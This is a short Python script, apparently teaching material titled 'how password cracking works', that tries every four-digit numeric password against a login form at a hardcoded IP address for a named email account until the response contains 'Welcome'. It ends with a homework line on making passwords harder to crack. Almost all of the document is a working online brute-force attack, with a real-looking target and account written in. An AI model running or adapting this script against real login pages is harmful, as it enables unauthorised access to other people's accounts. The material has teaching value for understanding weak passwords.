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# how password cracking works
import itertools
import urllib.request, urllib.parse
url = 'http://67.199.17.32/cybersecurity/login.php'
email = 'john.p@gmail.com'
pass_generator = itertools.product('1234567890', repeat=4)
encoding = 'utf-8'
for i in pass_generator:
    password = ''.join(i)
    authdata = urllib.parse.urlencode({'email':email,
    'password':password})
    encodeddata = authdata.encode(encoding)
    request = urllib.request.Request(url, encodeddata)
    response = urllib.request.urlopen(request)
    responsetext = response.read().decode(encoding)
    if (responsetext.find('Welcome') > -1):
        print('password ' + password + ' was correct')
        break
    else:
        print('password ' + password + ' was incorrect')

# Homework: crack-proof your passwords (mixed case, numbers, letters,
special characters)
```